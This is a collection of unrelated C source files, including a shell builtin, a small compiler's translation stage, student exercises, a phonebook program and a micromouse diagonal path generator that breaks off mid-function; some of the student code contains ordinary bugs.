/* ** unset_vars.c for 42sh in /home/somasu_b/rendu/42sh/src/built/o ** ** Made by somasu_b ** Login <[email protected]> ** ** Started on Sun May 25 19:31:32 2014 somasu_b ** Last update Thu May 29 21:54:11 2014 somasu_b */ #include <string.h> #include <unistd.h> #include <stdlib.h> #include "sh.h" static t_vars *is_var_here_unset(t_vars *vars, t_tok *tmp) { t_vars *tmp_var; int i; i = 0; while (tmp->cmd[i] && tmp->cmd[i] != '=') ++i; tmp_var = vars->next; while (tmp_var != vars) { if (strncmp(tmp->cmd, tmp_var->var, i) == 0) return (tmp_var); tmp_var = tmp_var->next; tmp = tmp->next; } return (NULL); } static int rm_vars(t_vars *vars) { if (vars->contents != NULL) free(vars->contents); if (vars->var != NULL) free(vars->var); vars->prev->next = vars->next; vars->next->prev = vars->prev; free(vars); return (0); } int sh_unset_vars(t_42 *sh, t_tok *token) { t_tok *tmp; t_vars *vars; (void)sh; tmp = token->next->next; while (tmp != token) { if ((vars = is_var_here_unset(vars, tmp)) != NULL) rm_vars(vars); tmp = tmp->next; } return (1); }
C
#include "translation.h" #include <stdlib.h> #include <stdio.h> #include <string.h> #include "hectorc.h" #define UNEXPECTED_OPERANDS(L,R) fprintf(stderr,\ "(%s:%d) Unexpected operand types: %s and %s\n",\ __FILE__, __LINE__, sem_type_to_str((L)->type), sem_type_to_str((R)->type)); static const char *matrix_attrs[] = { "11", "12", "13", "14", "21", "22", "23", "24", "31", "32", "33", "34", "41", "42", "43", "44" }; static int get_matrix_attr_index (const char *attr) { int i; for (i=0; i < 16; i++) if (strcmp(attr, matrix_attrs[i]) == 0) return i; return -1; } static const char *point_attrs[] = {"x", "y", "z"}; static int get_point_attr_index (const char *attr) { int i; for (i=0; i < 3; i++) if (strcmp(attr, point_attrs[i]) == 0) return i; return -1; } static FILE *tr_out; /*----------------------------------------------------------------------------*/ static void tr_stat (u8 depth, AstNode *stat); static void tr_stat_print (u8 depth, AstNode *print); static void tr_expr_id (AstNode *id); static void tr_expr_at (AstNode *at); static void tr_pointlit (AstNode *pointlit); static void tr_matrixlit (AstNode *matrixlit); static void tr_intlit (AstNode *intlit); static void tr_declare_vars (AstNode *program); static void tr_init_vars (AstNode *program); static void tr_init_int (AstNode *stat); static void tr_init_matrix (AstNode *stat); static void tr_init_point (AstNode *stat); static void tr_init_vector (AstNode *stat); /*----------------------------------------------------------------------------*/ void tr_stat (u8 depth, AstNode *stat) { if (stat->type == ast_VARDECL) {/* ignore */} else if (stat->type == ast_PRINT) tr_stat_print(depth, stat); else { // Defaults to expressions. tfprintf(tr_out, depth, ""); tr_expr(tr_out, stat); fprintf(tr_out, ";\n"); } } void tr_stat_print (u8 depth, AstNode *print) { AstNode *expr; if (print->type != ast_PRINT) { has_translation_errors = 1; UNEXPECTED_NODE(print) return; } expr = ast_get_child_at(0, print); switch (expr->info->type) { case sem_INT: tfprintf(tr_out, depth, "printf(\"%%d\\n\", "); tr_expr(tr_out, expr); fprintf(tr_out, ");\n"); break; case sem_MATRIX: tfprintf(tr_out, depth, "mi32_print("); tr_expr(tr_out, expr); fprintf(tr_out, ");\n"); break; case sem_POINT: tfprintf(tr_out, depth, "vi32_print("); tr_expr(tr_out, expr); fprintf(tr_out, ");\n"); break; case sem_VECTOR: tfprintf(tr_out, depth, "vi32_print("); tr_expr(tr_out, expr); fprintf(tr_out, ");\n"); break; default: has_translation_errors = 1; UNEXPECTED_SEM_TYPE(expr->info->type) return; } } void tr_expr (FILE *out, AstNode *expr) { if (expr->type == ast_ADD) tr_expr_add(tr_out, expr); else if (expr->type == ast_ASSIGN) tr_expr_assign(tr_out, expr); else if (expr->type == ast_AT) tr_expr_at(expr); else if (expr->type == ast_CROSS) tr_expr_cross(tr_out, expr); else if (expr->type == ast_DOT) tr_expr_dot(tr_out, expr); else if (expr->type == ast_ID) tr_expr_id(expr); else if (expr->type == ast_INTLIT) tr_intlit(expr); else if (expr->type == ast_MATRIXLIT) tr_matrixlit(expr); else if (expr->type == ast_MULT) tr_expr_mult(tr_out, expr); else if (expr->type == ast_NEG) tr_expr_neg(tr_out, expr); else if (expr->type == ast_POINTLIT) tr_pointlit(expr); else if (expr->type == ast_SUB) tr_expr_sub(tr_out, expr); else if (expr->type == ast_TRANSPOSE) tr_expr_transpose(tr_out, expr); else { has_translation_errors = 1; UNEXPECTED_NODE(expr) return; } } void tr_expr_id (AstNode *id) { char *id_str; if (id->type != ast_ID) { has_translation_errors = 1; UNEXPECTED_NODE(id) return; } id_str = (char*) id->value; fprintf(tr_out, "%s", id_str); //TODO Trigger a warning when used as a statement. } void tr_expr_at (AstNode *at) { char *target_id, *attr_id; AstNode *target; int attr_index; if (at->type != ast_AT) { has_translation_errors = 1; UNEXPECTED_NODE(at) return; } attr_id = (char*) ast_get_child_at(0, at)->value; target = ast_get_child_at(1, at); target_id = (char*) target->value; switch (target->info->type) { case sem_MATRIX: attr_index = get_matrix_attr_index(attr_id); break; case sem_POINT: attr_index = get_point_attr_index(attr_id); break; default: has_translation_errors = 1; fprintf(stderr, "(%s:%d) Unexpected target types %s\n", __FILE__, __LINE__, sem_type_to_str(target->info->type) ); return; } if (attr_index < 0) { has_translation_errors = 1; fprintf(stderr, "(%s:%d) Invalid attribute: %s\n", __FILE__, __LINE__, attr_id ); return; } fprintf(tr_out, "%s.comps[%d]", target_id, attr_index); } void tr_pointlit (AstNode *pointlit) { AstNode *comp; if (pointlit->type != ast_POINTLIT) { has_translation_errors = 1; UNEXPECTED_NODE(pointlit) return; } fprintf(tr_out, "vi32_from_comps("); comp = pointlit->child; while (comp != NULL) { tr_expr(tr_out, comp); if (comp->sibling == NULL) fprintf(tr_out, ", 1)"); else fprintf(tr_out, ", "); comp = comp->sibling; } } void tr_matrixlit (AstNode *matrixlit) { AstNode *comp; if (matrixlit->type != ast_MATRIXLIT) { has_translation_errors = 1; UNEXPECTED_NODE(matrixlit) return; } fprintf(tr_out, "mi32_from_comps("); comp = matrixlit->child; while (comp != NULL) { tr_intlit(comp); if (comp->sibling == NULL) fprintf(tr_out, ")"); else fprintf(tr_out, ", "); comp = comp->sibling; } } void tr_intlit (AstNode *intlit) { int value; if (intlit->type != ast_INTLIT) { has_translation_errors = 1; UNEXPECTED_NODE(intlit) return; } parse_int(intlit->value, &value); fprintf(tr_out, "%d", value); } void tr_declare_vars (AstNode *program) { AstNode *stat, *type; char *id; if (program->type != ast_PROGRAM) { has_translation_errors = 1; UNEXPECTED_NODE(program) return; } stat = program->child; while (stat != NULL) { if (stat->type == ast_VARDECL) { type = ast_get_child_at(0, stat); id = (char*) ast_get_child_at(1, stat)->value; if (type->type == ast_INT) tfprintf(tr_out, 0, "static i32 %s;\n", id); else if (type->type == ast_POINT) tfprintf(tr_out, 0, "static vi32 %s;\n", id); else if (type->type == ast_MATRIX) tfprintf(tr_out, 0, "static mi32 %s;\n", id); else if (type->type == ast_VECTOR) tfprintf(tr_out, 0, "static vi32 %s;\n", id); else UNEXPECTED_NODE(type) } stat = stat->sibling; } } void tr_init_vars (AstNode *program) { AstNode *stat, *type; if (program->type != ast_PROGRAM) { has_translation_errors = 1; UNEXPECTED_NODE(program) return; } stat = program->child; while (stat != NULL) { if (stat->type == ast_VARDECL) { type = ast_get_child_at(0, stat); if (type->type == ast_INT) tr_init_int(stat); else if (type->type == ast_MATRIX) tr_init_matrix(stat); else if (type->type == ast_POINT) tr_init_point(stat); else if (type->type == ast_VECTOR) tr_init_vector(stat); else UNEXPECTED_NODE(type) } stat = stat->sibling; } } void tr_init_int (AstNode *stat) { AstNode *expr; char *id; if (stat->type != ast_VARDECL) { has_translation_errors = 1; UNEXPECTED_NODE(stat) return; } if (ast_get_child_at(0, stat)->type != ast_INT) { has_translation_errors = 1; UNEXPECTED_NODE(stat->child) return; } id = (char*) ast_get_child_at(1, stat)->value; expr = ast_get_child_at(2, stat); if (expr == NULL) { tfprintf(tr_out, 1, "%s = 0;\n", id); } else { tfprintf(tr_out, 1, "%s = ", id); tr_expr(tr_out, expr); fprintf(tr_out, ";\n"); } } void tr_init_matrix (AstNode *stat) { AstNode *expr; char *id; if (stat->type != ast_VARDECL) { has_translation_errors = 1; UNEXPECTED_NODE(stat) return; } if (ast_get_child_at(0, stat)->type != ast_MATRIX) { has_translation_errors = 1; UNEXPECTED_NODE(stat->child) return; } id = (char*) ast_get_child_at(1, stat)->value; expr = ast_get_child_at(2, stat); if (expr == NULL) { tfprintf(tr_out, 1, "mi32_identity(&%s);\n", id); } else { tfprintf(tr_out, 1, "mi32_set_mi32(&%s, ", id); tr_expr(tr_out, expr); fprintf(tr_out, ");\n"); } } void tr_init_point (AstNode *stat) { AstNode *expr; char *id; if (stat->type != ast_VARDECL) { has_translation_errors = 1; UNEXPECTED_NODE(stat) return; } if (ast_get_child_at(0, stat)->type != ast_POINT) { has_translation_errors = 1; UNEXPECTED_NODE(stat->child) return; } id = (char*) ast_get_child_at(1, stat)->value; expr = ast_get_child_at(2, stat); if (expr == NULL) { tfprintf(tr_out, 1, "vi32_zero(&%s);\n", id); } else { tfprintf(tr_out, 1, "vi32_set_vi32(&%s, ", id); tr_expr(tr_out, expr); fprintf(tr_out, ");\n"); } } void tr_init_vector (AstNode *stat) { AstNode *expr; char *id; if (stat->type != ast_VARDECL) { has_translation_errors = 1; UNEXPECTED_NODE(stat) return; } if (ast_get_child_at(0, stat)->type != ast_VECTOR) { has_translation_errors = 1; UNEXPECTED_NODE(stat->child) return; } id = (char*) ast_get_child_at(1, stat)->value; expr = ast_get_child_at(2, stat); if (expr == NULL) { tfprintf(tr_out, 1, "vi32_zero(&%s);\n", id); } else { tfprintf(tr_out, 1, "vi32_set_vi32(&%s, ", id); tr_expr(tr_out, expr); fprintf(tr_out, ");\n"); } } /*----------------------------------------------------------------------------*/ int tr_program (FILE *out, AstNode *program) { AstNode *stat; if (program->type != ast_PROGRAM) { has_translation_errors = 1; UNEXPECTED_NODE(program) return 0; } tr_out = out; tfprintf(tr_out, 0, "#include <stdio.h>\n"); tfprintf(tr_out, 0, "#include <stdlib.h>\n"); tfprintf(tr_out, 0, "#include \"lib.h\"\n"); tfprintf(tr_out, 0, "\n"); tr_declare_vars(program); tfprintf(tr_out, 0, "\n"); tfprintf(tr_out, 0, "int main (int argc, char **argv) {\n"); tr_init_vars(program); stat = program->child; while (stat != NULL) { tr_stat(1, stat); stat = stat->sibling; } tfprintf(tr_out, 1, "return EXIT_SUCCESS;\n"); tfprintf(tr_out, 0, "}\n"); return !has_translation_errors; }
C
/*teacher homework give us*/ /*Calculates the number of small letters in an array */ /* by chenchen */ #include <stdio.h> int main() { char str[100],i; int j,k,a,b; printf("give me string \n"); scanf("%s",&str[100]); int fun(char str[100]); a=fun(i); b=fun(k); printf("%c have %d number",a,b); } int fun(char str[100]) { char i; int j,k; ; for(i='a';i<'z';i++) { k=0; for(j=0;str[j]!='\0';j++) { if (i==str[j])k+=1; } return(i,k); } }
C
/** * <waypoints.h> * * @brief Functions to read the waypoint file and handle the path * * Program expects waypoint file of the form (no line numbers in actual file): * * ~~~ * 1: t x y z xd yd zd r p y rd pd yd * 2: t x y z xd yd zd r p y rd pd yd * ... * n: t x y z xd yd zd r p y rd pd yd * ~~~ * * where line i contains waypoint i with position, velocity and time respectively. * Memory will be dynamically allocated for the path and the path will be stored * as a set of waypoints defined by the file * * TODO: Possibly rename (path maybe?), nameing conflicts with the * * @author Glen Haggin ([email protected]) * * @addtogroup Waypoints * @{ */ #ifndef __PATH__ #define __PATH__ #include <stddef.h> #include <coordinates.h> #include <realsense_payload_receive.h> #include <state_estimator.h> #include <math_utils.h> /** * @brief Read waypoint file and initialize path * * Checks for a valid file and counts the number of waypoints specified. Based * on the number of waypoints, memory for the path is dynamically allocated (freed in cleanup). * Waypoints are then sequentially read into the path. If any invalid waypoints are specified, * i.e. not in the form <x y z xd yd zd t> (all floats), then the intialization fails and the * path stays unitialized. * * @param[in] file_path string containing the relative path to the waypoint file * * @return 0 on success, -1 on failure */ int path_load_from_file(const char* file_path); /** * @brief Frees memory allocated in path and "unitializes" path variable */ void path_cleanup(); /** * @brief Plan a path based on realsense payload landing command * * Very simple version with no-splines. Allows incremental testing. * * @return 0 on success, -1 on failure */ int path_plan_from_rsp_cmd_3pts(); /** * @brief Plan a path based on realsense payload landing command * * @return 0 on success, -1 on failure */ int path_plan_from_rsp_cmd(); typedef struct quintic_spline_1d_t { float c0, c1, c2, c3, c4, c5; } quintic_spline_1d_t; /** * @brief Compute quintic spline coefficients for simple 1d path. * * Starting and ending velocity and acceleration are 0. * * @return quintic_spline_1d_t with proper coefficients */ quintic_spline_1d_t make_1d_quintic_spline(float dx, float dt); /** * @brief Compute position along spline based on time * * @return 1d position along spline */ float compute_spline_position(quintic_spline_1d_t* the_spline, float t); typedef struct path_t { waypoint_t* waypoints; ///< pointer to head of the waypoint array size_t len; ///< length of the path (number of waypoints) int initialized; ///< 1 if initialized, 0 if uninitialized } path_t; /** * @brief Initial values for path_t */ #define PATH_INITIALIZER \ { \ .waypoints = NULL, .len = 0, .initialized = 0 \ } extern path_t path; #define TIME_TRANSITION_FLAG 0 #define POS_TRANSITION_FLAG 1 #endif /*__PATH__ */ /* @} Waypoints */
C
/** * @file main.c * * Ficheiro que contêm a função principal do programa,que lê uma linha * e no fim de executar as operações necesárias imprime o conteúdo da stack. * */ #include <stdio.h> #include <assert.h> #include <stdlib.h> #include <string.h> #include "parser.h" #include "pushpop.h" #include "variables.h" /** * \brief Esta é a função principal do programa. * * A função lê uma linha que é o nosso input e, em seguida, chama a função parse. * * @returns 0 valor 0. */ int main () { STACK *s=NULL; VARIABLES *vars = create_varlist(); char line [15000]; assert( fgets (line,15000,stdin) != NULL); assert( line [strlen (line)-1] == '\n'); s = parse(line,s,vars); print_stack (s); printf("\n"); return 0; }
C
#include <stdio.h> #include <stdlib.h> int * cria_vetor (int n) { int *v, i; v=(int*) malloc (n* sizeof(int)); for(i=0; i<n; i++) { v[i] = i; } return v; } int main () { int *v1, v2; v1 = cria_vetor (5); v2 = cria_vetor (10); printf(" %d \n %d", v1, v2); //..................................... free (v1); v1= NULL; free(v2); v2 = NULL; printf("\n %d \n %d", v1, v2); //....................................... return 0; }
C
#include<stdio.h> int transfer(int n,int bits,int bit) { return (((((~0)<<bits)^((~0)<<(bits+bit)))&n)>>bits); } void printbits(int n) { int m=1; int i; for(i=sizeof(n)*8-1;i>=0;i--) { printf("%d",(n>>i)&m); if(i%8==0) printf("\t"); } return; } typedef struct{ int day:5; int month:4; int year:7; }date; typedef union{ date birthday; int slnumber; }identity; int main() { identity ac1; int n,i; scanf("%d",&n); printf("\n"); printbits(n); printf("\n"); ac1.slnumber=n; i=transfer(n,5,3); printf("\n"); printbits(i); printf("\n"); printf("%d-%d-%d",transfer(n,0,5),transfer(n,8,4),transfer(n,16,7)); return 0; }
C
/* $CORTO_GENERATED * * Literals.c * * Only code written between the begin and end tags will be preserved * when the file is regenerated. */ #include <include/test.h> corto_void _test_Literals_tc_false( test_Literals this) { /* $begin(test/Literals/tc_false) */ /* Compile template */ corto_t *t = corto_t_compile("${false}"); test_assert(t != NULL); /* Run template with context and print result */ corto_string str = corto_t_run(t, NULL); test_assert(str != NULL); test_assertstr(str, "false"); corto_dealloc(str); corto_t_free(t); /* $end */ } corto_void _test_Literals_tc_number( test_Literals this) { /* $begin(test/Literals/tc_number) */ /* Compile template */ corto_t *t = corto_t_compile("${10}"); test_assert(t != NULL); /* Run template with context and print result */ corto_string str = corto_t_run(t, NULL); test_assert(str != NULL); test_assertstr(str, "10.000000"); corto_dealloc(str); corto_t_free(t); /* $end */ } corto_void _test_Literals_tc_numberFloat( test_Literals this) { /* $begin(test/Literals/tc_numberFloat) */ /* Compile template */ corto_t *t = corto_t_compile("${10.5}"); test_assert(t != NULL); /* Run template with context and print result */ corto_string str = corto_t_run(t, NULL); test_assert(str != NULL); test_assertstr(str, "10.500000"); corto_dealloc(str); corto_t_free(t); /* $end */ } corto_void _test_Literals_tc_numberNegative( test_Literals this) { /* $begin(test/Literals/tc_numberNegative) */ /* Compile template */ corto_t *t = corto_t_compile("${-10}"); test_assert(t != NULL); /* Run template with context and print result */ corto_string str = corto_t_run(t, NULL); test_assert(str != NULL); test_assertstr(str, "-10.000000"); corto_dealloc(str); corto_t_free(t); /* $end */ } corto_void _test_Literals_tc_string( test_Literals this) { /* $begin(test/Literals/tc_string) */ /* Compile template */ corto_t *t = corto_t_compile("${\"Hello World\"}"); test_assert(t != NULL); /* Run template with context and print result */ corto_string str = corto_t_run(t, NULL); test_assert(str != NULL); test_assertstr(str, "Hello World"); corto_dealloc(str); corto_t_free(t); /* $end */ } corto_void _test_Literals_tc_true( test_Literals this) { /* $begin(test/Literals/tc_true) */ /* Compile template */ corto_t *t = corto_t_compile("${true}"); test_assert(t != NULL); /* Run template with context and print result */ corto_string str = corto_t_run(t, NULL); test_assert(str != NULL); test_assertstr(str, "true"); corto_dealloc(str); corto_t_free(t); /* $end */ }
C
#include "holberton.h" /** *print_triangle - prints a triangle, followed by a new line *@size: size of the triangle * *Prototype: void print_triangle(int size); *You can only use _putchar function to print *Where size is the size of the triangle *If size is 0 or less, the function should print only a new line *Use the character # to print the triangle *Return: void */ void print_triangle(int size) { int spaces = 1; int pounds = 1; int rows = 1; if (size <= 0) { _putchar('\n'); return; } while (rows <= size) { spaces = 1; pounds = 1; while (spaces <= (size - rows)) { _putchar(' '); spaces++; } while (pounds <= rows) { _putchar('#'); pounds++; } _putchar('\n'); rows++; } }
C
/* * dazhengshujianfa.cpp * * Created on: 2010-11-17 * Author: Administrator */ int main(){ int n,i,j,lenth1,lenth2,carry; carry=0; cin>>n; char a[101],b[101],c[101]; for(i=1;i<=n;i++){ carry=0; cin>>a; cin>>b; lenth1=strlen(a); lenth2=strlen(b); for(j=lenth2;j<lenth1;j++){ b[j]='0'; } strcpy(c,a); for(j=1;j<=lenth2;j++){ c[lenth1-j]=a[lenth1-j]-b[lenth2-j]-carry+'0'; if(c[lenth1-j]-'0'<0){ carry=1; c[lenth1-j]+=10; } else carry=0; } if(lenth1>lenth2){ if(carry==1){ c[lenth1-lenth2-1]-=1; } } if(c[0]=='0') c[0]='\0'; for(j=0;j<lenth1;j++){ cout<<c[j]; } cout<<endl; } return 0; }
C
#ifndef VIEW_H #define VIEW_H /* * Contains all the code to handle ncurses related tasks. * Things like initializing the screen, closing the screen, etc. */ /* NOTE Runs in a standard 24x80 terminal */ #define M_SCRWIDTH (80) #define M_SCRHEIGHT (24) #define M_RED (1) #define M_GREEN (2) #define M_YELLOW (3) #define M_CYAN (4) #define M_MAGENTA (5) #define M_BLACK (6) #define M_BLUE (7) #define M_WHITE (8) void init_graphics(void); void destroy_graphics(void); void view_boss_mode_on(void); void view_boss_mode_off(void); void draw(char ch, int col, int row, int color); void draw_str(char const * str, int col, int row, int color); void refresh_view(void); void clear_view(void); #endif
C
/* * LowestCommonAncestorOfBST1.c * * Created on: Sep 22, 2016 * Author: xinsu * * Using a queue to store the path to find p, and then compare the path to find q with the queue. */ /* * Given a binary search tree (BST), find the lowest common ancestor (LCA) of two given nodes in the BST. * * According to the definition of LCA on Wikipedia: * “The lowest common ancestor is defined between two nodes v and w as the lowest node in T that * has both v and w as descendants (where we allow a node to be a descendant of itself).” * * _______6______ * / \ * ___2__ ___8__ * / \ / \ * 0 4 7 9 * / \ * 3 5 * * For example, the lowest common ancestor (LCA) of nodes 2 and 8 is 6. * Another example is LCA of nodes 2 and 4 is 2, * since a node can be a descendant of itself according to the LCA definition. */ /** * Definition for a binary tree node. * struct TreeNode { * int val; * struct TreeNode *left; * struct TreeNode *right; * }; */ #include <stdio.h> #include <stdlib.h> #include <stdbool.h> // Add this structure definition to silence the show of error. struct TreeNode { int val; struct TreeNode *left; struct TreeNode *right; }; /*** Queue structure definition ***/ struct QueueNode { int info; void *data; struct QueueNode *next; }; struct Queue { int size; struct QueueNode *front; struct QueueNode *back; }; /*** Queue structure definition end ***/ /*** Queue operations definition ***/ struct Queue *create() { struct Queue *queue = (struct Queue *) calloc(1, sizeof(struct Queue)); // automatically... // queue->size = 0; // queue->front = NULL; // queue->back = NULL; return queue; } void destroy(struct Queue *queue) { if (queue != NULL) { if (queue->front != NULL) { struct QueueNode *curNode = queue->front; while (queue->front != NULL) { queue->front = queue->front->next; free(curNode); curNode = queue->front; } } free(queue); } } struct QueueNode *head(struct Queue *queue) { if (queue == NULL || queue->size == 0) { return NULL; } return queue->front; } bool inqueue(struct Queue *queue, void *data, int info) { if (queue == NULL) { return false; } // alloc memory for new node struct QueueNode *node = (struct QueueNode *) calloc(1, sizeof(struct QueueNode)); node->data = data; node->info = info; if (queue->size == 0) { queue->front = node; } else { queue->back->next = node; } queue->back = node; queue->size++; return true; } void *dequeue(struct Queue *queue, int *info) { if (queue == NULL || queue->size == 0) { return NULL; } struct QueueNode *node = queue->front; void *data = node->data; if (info != NULL) { *info = node->info; } if (queue->size == 1) { queue->front = NULL; queue->back = NULL; } else { queue->front = queue->front->next; } queue->size--; free(node); return data; } /*** Queue operations definition end ***/ struct TreeNode* lowestCommonAncestor(struct TreeNode* root, struct TreeNode* p, struct TreeNode* q) { if (root == NULL || p == NULL || q == NULL) { return NULL; } struct Queue *queue = create(); struct TreeNode *curNode = root; while (curNode != NULL) { // inqueue inqueue(queue, (void *) curNode, NULL); if (curNode->val == p->val) { break; } else if (curNode->val > p->val) { curNode = curNode->left; } else { curNode = curNode->right; } } if (curNode == NULL) { // p is not in the tree destroy(queue); return NULL; } curNode = root; struct TreeNode *result = NULL; struct TreeNode *parent = root; struct TreeNode *pNode = NULL; while (curNode != NULL && result == NULL) { // dequeue pNode = (struct TreeNode *) dequeue(queue, NULL); if (pNode == NULL || pNode != curNode) { // the queue is empty, or curNode just passed the junction, // then the parent is the result result = parent; } else if (pNode == curNode) { if (curNode->val == q->val) { result = curNode; } else { // record parent and move curNode to next level parent = curNode; curNode = (curNode->val > q->val) ? curNode->left : curNode->right; } } } // If q is not in the tree, then the result is NULL, just return it. destroy(queue); return result; }
C
#include "stdio.h" #include "stdlib.h" #include "string.h" int amt = 0;//Количество записей struct phonebook { int id; char name[21]; char surname[21]; char number[16]; }; struct phonebook* subs; void print_menu()//Вывод меню { printf("Выберите пункт меню:\n\n" "1. Добавить запись\n" "2. Удалить запись\n" "3. Поиск записи по номеру телефона\n" "4. Показать все записи\n" "0. Выйти\n\n" ); } void add_sub()//1 { if (amt == 0) { subs = (struct phonebook*) malloc(sizeof(struct phonebook)); } if (amt > 0) { subs = (struct phonebook*) realloc(subs, (amt + 1) * sizeof(struct phonebook)); } printf("Введите имя абонента: \n"); scanf("%s", subs[amt].name); printf("Введите фамилию абонента: \n"); scanf("%s", subs[amt].surname); printf("Введите номер телефона абонента: \n"); scanf("%s", subs[amt].number); printf("\n"); printf("Запись внесена\n\n"); subs[amt].id = amt; amt++; } void remove_sub()//2 { if (amt == 0) { printf("В справочнике нет записей!\n\n"); } if (amt > 0) { int id_r;//Номер удаляемой записи int i; printf("Введите номер записи, которую нужно удалить: \n"); scanf("%d", &id_r); if (id_r > amt - 1) { printf("Нет записи с таким номером!\n\n"); } else { struct phonebook* new_subs = (struct phonebook*) malloc((amt - 1) * sizeof(struct phonebook)); for (i = 0; i < amt - 1; i++) { if (i >= id_r) { new_subs[i].id = i; strcpy(new_subs[i].name, subs[i+1].name); strcpy(new_subs[i].surname, subs[i+1].surname); strcpy(new_subs[i].number, subs[i+1].number); } if (i < id_r) { new_subs[i].id = i; strcpy(new_subs[i].name, subs[i].name); strcpy(new_subs[i].surname, subs[i].surname); strcpy(new_subs[i].number, subs[i+1].number); } } free(subs); subs = new_subs; new_subs = NULL; amt--; printf("\n"); printf("Запись удалена\n\n"); } } } void sub_search()//3 { int i; char sought_number[16]; if (amt == 0) { printf("В справочнике нет записей!\n\n"); } if (amt > 0) { printf("Введите номер телефона абонента:\n\n"); scanf("%s", sought_number); printf("\n\n"); for (i=0; i < amt; i++) { if (strcmp(subs[i].number, sought_number) == 0) { printf("Фамилия: %s\n" "Имя: %s\n" "Номер абонента: %s\n\n", subs[i].surname, subs[i].name, subs[i].number); } } } } void show_phonebook()//4 { int i; if (amt == 0) { printf("В справочнике нет записей!\n\n"); } if (amt > 0) { printf("Все записи:\n\n"); for (i = 0; i < amt; i++) { printf("ID: %d\n" "Фамилия: %s\n" "Имя: %s\n" "Номер абонента: %s\n\n", subs[i].id, subs[i].surname, subs[i].name, subs[i].number); } } } void quit()//0 { free(subs); exit(0); } int main() { int item; printf("Абонентский справочник \n\n"); print_menu(); while (1) { printf("> "); scanf("%d", &item);//Ввод пункта меню printf("\n"); switch(item) { case 1: add_sub(); break; case 2: remove_sub(); break; case 3: sub_search(); break; case 4: show_phonebook(); break; case 0: quit(); default: printf("Некорректный пункт меню!\n\n"); } } return 0; }
C
/* Nicholas Grout */ /* Unroll the loop k=4 times */ void ByteMult(unsigned long* a, unsigned long* b, unsigned long*c, long n) { long i=0, j=0, k=0; long remainder = n % 4; long iter = n - remainder; unsigned long sum; for (i = 0; i < n; i++) { long in = i*n; for (j = 0; j < n; j++) { sum = 0; for (k = 0; k < iter; k+=4) { sum += a[in+k] * b[k*n+j]; sum += a[in+k+1] * b[(k+1)*n+j]; sum += a[in+k+2] * b[(k+2)*n+j]; sum += a[in+k+3] * b[(k+3)*n+j]; } for (; k < n; k++) sum += a[in+k] * b[k*n+j]; c[in+j] = sum; } } }
C
#include "main.h" uint16_t nextDir[300] = {0}; int32_t length[300] = {0}; int32_t tempDistance[SIZEX][SIZEY]; int32_t tempCell[SIZEX][SIZEY]; uint16_t pathSLR[300] = {0}; uint16_t path[300] = {0}; int32_t generatePathDiag(uint16_t targetX, uint16_t targetY) { if (generatePathSLR(targetX, targetY) == 0) { // if error, return 0 return 0; } // zero path array for (int32_t i = 0; i < 300; i++) { path[i] = 0; } uint32_t head = 0; uint32_t headSLR = 0; int32_t diagCount = 0; for (headSLR = 0; pathSLR[headSLR] != 0; headSLR++) { // printf("headSLR = %d\r\n", headSLR); // Stopping condition if (pathSLR[headSLR] == STRAIGHT && pathSLR[headSLR+1] == 0) { } // Straight to straight 0 else if (pathSLR[headSLR] == STRAIGHT && pathSLR[headSLR+1] == STRAIGHT) { uint32_t i; for (i = 0; pathSLR[headSLR + i] == STRAIGHT; i++); // count straights path[head++] = SS0; path[head++] = i-1; headSLR += i-2; } // Straight to straight +90 else if (pathSLR[headSLR] == STRAIGHT && pathSLR[headSLR+1] == RIGHT && pathSLR[headSLR+2] == STRAIGHT) { path[head++] = SS90R; headSLR++; } // Straight to straight -90 else if (pathSLR[headSLR] == STRAIGHT && pathSLR[headSLR+1] == LEFT && pathSLR[headSLR+2] == STRAIGHT) { path[head++] = SS90L; headSLR++; } // Straight to straight +180 else if (pathSLR[headSLR] == STRAIGHT && pathSLR[headSLR+1] == RIGHT && pathSLR[headSLR+2] == RIGHT && pathSLR[headSLR+3] == STRAIGHT) { path[head++] = SS180R; headSLR += 2; } // Straight to straight -180 else if (pathSLR[headSLR] == STRAIGHT && pathSLR[headSLR+1] == LEFT && pathSLR[headSLR+2] == LEFT && pathSLR[headSLR+3] == STRAIGHT) { path[head++] = SS180L; headSLR += 2; } // Straight to diagonal +45 else if (pathSLR[headSLR] == STRAIGHT && pathSLR[headSLR+1] == RIGHT && pathSLR[headSLR+2] == LEFT) { diagCount = countDiagonals(RIGHT, headSLR + 1); path[head++] = SD45R; if (diagCount > 0) { path[head++] = DD0; path[head++] = diagCount; } headSLR += diagCount; } // Straight to diagonal -45 else if (pathSLR[headSLR] == STRAIGHT && pathSLR[headSLR+1] == LEFT && pathSLR[headSLR+2] == RIGHT) { diagCount = countDiagonals(LEFT, headSLR + 1); path[head++] = SD45L; if (diagCount > 0) { path[head++] = DD0; path[head++] = diagCount; } headSLR += diagCount; } // Straight to diagonal +135 else if (pathSLR[headSLR] == STRAIGHT && pathSLR[headSLR+1] == RIGHT && pathSLR[headSLR+2] == RIGHT && pathSLR[headSLR+3] == LEFT) { diagCount = countDiagonals(RIGHT, headSLR + 2); path[head++] = SD135R; if (diagCount > 0) { path[head++] = DD0; path[head++] = diagCount; } headSLR += diagCount + 1; } // Straight to diagonal -135 else if (pathSLR[headSLR] == STRAIGHT && pathSLR[headSLR+1] == LEFT && pathSLR[headSLR+2] == LEFT && pathSLR[headSLR+3] == RIGHT) { diagCount = countDiagonals(LEFT, headSLR + 2); path[head++] = SD135L; if (diagCount > 0) { path[head++] = DD0; path[head++] = diagCount; } headSLR += diagCount + 1; } // Diagonal to straight +45 else if (pathSLR[headSLR] == LEFT && pathSLR[headSLR+1] == RIGHT && pathSLR[headSLR+2] == STRAIGHT) { path[head++] = DS45R; headSLR++; } // Diagonal to straight -45 else if (pathSLR[headSLR] == RIGHT && pathSLR[headSLR+1] == LEFT && pathSLR[headSLR+2] == STRAIGHT) { path[head++] = DS45L; headSLR++; } // Diagonal to straight +135 else if (pathSLR[headSLR] == LEFT && pathSLR[headSLR+1] == RIGHT && pathSLR[headSLR+2] == RIGHT && pathSLR[headSLR+3] == STRAIGHT) { path[head++] = DS135R; headSLR += 2; } // Diagonal to straight -135 else if (pathSLR[headSLR] == RIGHT && pathSLR[headSLR+1] == LEFT && pathSLR[headSLR+2] == LEFT && pathSLR[headSLR+3] == STRAIGHT) { path[head++] = DS135L; headSLR += 2; } // Diagonal to diagonal +90 else if (pathSLR[headSLR] == LEFT && pathSLR[headSLR+1] == RIGHT && pathSLR[headSLR+2] == RIGHT && pathSLR[headSLR+3] == LEFT) { diagCount = countDiagonals(RIGHT, headSLR + 2); path[head++] = DD90R; if (diagCount > 0) { path[head++] = DD0; path[head++] = diagCount; } headSLR += diagCount + 1; } // 